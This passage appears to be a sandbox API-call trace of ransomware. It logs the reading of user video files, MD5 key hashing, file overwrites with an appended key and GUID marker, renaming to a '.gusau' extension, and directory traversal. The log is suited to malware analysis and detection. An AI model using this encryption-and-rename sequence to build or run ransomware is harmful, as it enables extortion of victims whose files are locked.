nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x6a5d, lpOverlapped=0x0) returned 1 [0119.775] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.775] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.775] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.775] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.775] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.775] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.776] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.776] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.776] GetLastError () returned 0x0 [0119.776] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.776] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x6a60) returned 0x39f9f20 [0119.776] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.776] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x6a58, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x6a58, lpOverlapped=0x0) returned 1 [0119.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.776] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6a5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.777] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.777] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.777] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.777] CloseHandle (hObject=0x610) returned 1 [0119.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.778] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\pW-HWPux0H.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\pw-hwpux0h.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\pW-HWPux0H.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\pw-hwpux0h.flv.gusau")) returned 1 [0119.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.778] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x584ba480, ftCreationTime.dwHighDateTime=0x1d4cb0e, ftLastAccessTime.dwLowDateTime=0xfbdd3970, ftLastAccessTime.dwHighDateTime=0x1d4ccc5, ftLastWriteTime.dwLowDateTime=0xfbdd3970, ftLastWriteTime.dwHighDateTime=0x1d4ccc5, nFileSizeHigh=0x0, nFileSizeLow=0xfb37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UMlO p8XR.mp4", cAlternateFileName="UMLOP8~1.MP4")) returned 1 [0119.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x106) returned 0x398ffb8 [0119.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.779] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\UMlO p8XR.mp4") returned=".mp4" [0119.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\UMlO p8XR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\umlo p8xr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.780] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=64311) returned 1 [0119.780] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.782] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xfb11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.782] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.783] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.783] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xfb37, lpOverlapped=0x0) returned 1 [0119.784] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.785] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.785] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.785] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.785] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.785] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.785] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.785] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.786] GetLastError () returned 0x0 [0119.786] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.786] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfb40) returned 0x39f9f20 [0119.786] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.786] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xfb32, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xfb32, lpOverlapped=0x0) returned 1 [0119.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.786] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xfb37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.787] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.787] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.787] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.787] CloseHandle (hObject=0x610) returned 1 [0119.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.788] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.788] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\UMlO p8XR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\umlo p8xr.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\UMlO p8XR.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\umlo p8xr.mp4.gusau")) returned 1 [0119.788] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.788] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.789] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x584ba480, ftCreationTime.dwHighDateTime=0x1d4cb0e, ftLastAccessTime.dwLowDateTime=0xfbdd3970, ftLastAccessTime.dwHighDateTime=0x1d4ccc5, ftLastWriteTime.dwLowDateTime=0xfbdd3970, ftLastWriteTime.dwHighDateTime=0x1d4ccc5, nFileSizeHigh=0x0, nFileSizeLow=0xfb37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UMlO p8XR.mp4", cAlternateFileName="UMLOP8~1.MP4")) returned 0 [0119.789] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39301f8 | out: hHeap=0xd10000) returned 1 [0119.790] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930368 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930590 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39304d8 | out: hHeap=0xd10000) returned 1 [0119.790] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0828 | out: hHeap=0xd10000) returned 1 [0119.790] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.790] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.790] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0119.790] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8528 [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0119.790] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0828 [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.791] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.791] PathFindFileNameW (pszPath="") returned="" [0119.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.792] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.792] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.792] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.792] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.792] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.792] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.792] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.793] PathFindFileNameW (pszPath="") returned="" [0119.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0119.794] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, 